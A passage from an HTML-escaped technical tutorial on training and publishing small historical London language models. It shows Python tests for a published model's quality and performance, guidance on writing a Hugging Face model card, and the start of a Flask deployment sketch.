&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The old man sat by the fire&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The young woman read her book&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; quality_prompts:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_historical_text(model, tokenizer, prompt, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for basic linguistic quality&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            sentences &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generated&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            quality_tests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(&lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(sentences) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            quality_tests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;linguistic_quality&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;any&lt;/span&gt;(quality_tests)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test coherence&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    coherence_prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The gentleman walked through the garden and&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_historical_text(model, tokenizer, coherence_prompt, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;coherence&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(generated) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(coherence_prompt)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;coherence&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tests
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_performance_metrics&lt;/span&gt;(model, tokenizer):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Test performance metrics of the model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test inference speed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    test_prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, London was&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        start_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;time()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_historical_text(model, tokenizer, test_prompt, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        end_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;time()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inference_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; end_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; start_time
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;inference_speed&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; inference_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;5.0&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Should complete within 5 seconds&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;inference_speed&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test memory usage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;psutil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        process &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; psutil&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Process()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        memory_usage &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; process&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;memory_info()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;rss &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1024&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1024&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# MB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;memory_usage&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; memory_usage &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;8000&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Should use less than 8GB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;memory_usage&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip if psutil not available&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tests&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 12: Testing Published Models&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Published model tests validate loading, generation, historical accuracy, and basic performance before and after publication.&lt;/p&gt;
&lt;h3 id=&#34;55-model-card-generation&#34;&gt;5.5 Model Card Generation&lt;/h3&gt;
&lt;p&gt;The model card serves as the primary documentation on Hugging Face Hub, making it the first thing users see when they discover your model. A well-crafted model card helps users understand what the model does, how to use it, and its limitations. The &lt;code&gt;generate_comprehensive_model_card()&lt;/code&gt; function in &lt;strong&gt;&lt;code&gt;10_scripts/publish_slm_to_huggingface.py&lt;/code&gt;&lt;/strong&gt; creates this documentation automatically.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What Makes an Effective Model Card:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The model card for our historical language models includes several key sections that provide users with everything they need to get started. At a minimum, include:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Model Description &amp;amp; Key Features&lt;/strong&gt;: A clear explanation that the model was trained from scratch (not fine-tuned), emphasizing the 117M parameter SLM variant and 354M parameter Regular Model, with details about the custom 30,000-token vocabulary and 150+ historical special tokens.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Setup Instructions&lt;/strong&gt;: Platform-specific guidance for creating virtual environments (Linux/macOS/Windows), installing dependencies (&lt;code&gt;transformers&lt;/code&gt;, &lt;code&gt;torch&lt;/code&gt;, &lt;code&gt;accelerate&lt;/code&gt;), and handling different accelerators (CPU, NVIDIA CUDA, AMD ROCm).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Quick Start Code&lt;/strong&gt;: Auto-device detection that works across CPU, CUDA, and ROCm with sensible generation parameters (&lt;code&gt;temperature=0.8&lt;/code&gt;, &lt;code&gt;top_p=0.95&lt;/code&gt;, &lt;code&gt;repetition_penalty=1.2&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Training Details&lt;/strong&gt;: Architecture specifics (GPT-2 Small/Medium), training infrastructure (2x GPU with Distributed Data Parallel), performance metrics (training loss, MFU utilization), and data sources (218+ historical sources spanning 1500-1850).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Example Prompts&lt;/strong&gt;: Period-specific prompts demonstrating different historical eras (Tudor, Stuart, Georgian, Victorian) and London-specific contexts (Thames, Westminster, Parliament).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Testing &amp;amp; Validation&lt;/strong&gt;: Instructions for running the automated test suite (&lt;strong&gt;&lt;code&gt;test_published_models.py&lt;/code&gt;&lt;/strong&gt;) and interactive testing with custom prompts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Troubleshooting&lt;/strong&gt;: Common issues and solutions for PyTorch installation, GPU detection, and memory constraints.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Citation &amp;amp; License&lt;/strong&gt;: BibTeX citation format and MIT license information.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Key Implementation Details:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The model card generation follows Hugging Face conventions with YAML frontmatter specifying license, library, pipeline type, language, and tags. The script emphasizes that models were &lt;strong&gt;trained from scratch&lt;/strong&gt; (not fine-tuned) and provides device-agnostic code examples that run on CPU, CUDA, and ROCm.&lt;/p&gt;
&lt;p&gt;The card also includes detailed model selection guidance comparing the SLM (faster, lower memory) versus the Regular Model (higher quality, more parameters), helping users choose the right model for their use case - whether that&amp;rsquo;s quick experimentation, educational purposes, or production deployment.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💻 Complete Implementation&lt;/strong&gt;: See &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/10_scripts/publish_slm_to_huggingface.py&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;&lt;code&gt;10_scripts/publish_slm_to_huggingface.py&lt;/code&gt;&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/10_scripts/publish_to_huggingface.py&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;&lt;code&gt;10_scripts/publish_to_huggingface.py&lt;/code&gt;&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt; for the full model card generation implementation.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;👀 Live Model Cards&lt;/strong&gt;: View the published cards at &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-slm
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-llm
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📝 Documentation&lt;/strong&gt;: See &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/08_documentation/HUGGINGFACE_PUBLISHING.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HUGGINGFACE_PUBLISHING.md
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/08_documentation/DEPLOYMENT_GUIDE.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DEPLOYMENT_GUIDE.md
	&lt;/span&gt;
&lt;/a&gt; for complete publishing and deployment workflows.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;56-local-deployment-options&#34;&gt;5.6 Local Deployment Options&lt;/h3&gt;
&lt;p&gt;Finally, &lt;a href=&#34;#listing13&#34; class=&#34;listing-ref&#34;&gt;Listing 13&lt;/a&gt; sketches how you might wrap a trained model into a simple REST API or CLI. These patterns are intentionally minimal, meant to help you connect the dots between the inference utilities in &lt;strong&gt;&lt;code&gt;06_inference/&lt;/code&gt;&lt;/strong&gt; and real applications (dashboards, notebooks, small services).&lt;/p&gt;
&lt;figure id=&#34;listing13&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;setup_local_deployment&lt;/span&gt;(model, tokenizer, deployment_type&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;api&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Set up local deployment for historical language model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; deployment_type &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;api&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; setup_api_deployment(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; deployment_type &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cli&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; setup_cli_deployment(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; deployment_type &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;notebook&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; setup_notebook_deployment(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;ValueError&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Unknown deployment type: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;deployment_type&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;setup_api_deployment&lt;/span&gt;(model, tokenizer):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Set up REST API deployment&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;flask&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; Flask, request, jsonify
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    app &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Flask(&lt;span style=&#34;color:#f4dbd6&#34;&gt;__name__&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8aadf4;font-weight:bold&#34;&gt;@app.route&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;/generate&amp;#39;&lt;/span&gt;, methods&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_text&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; request&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_json()
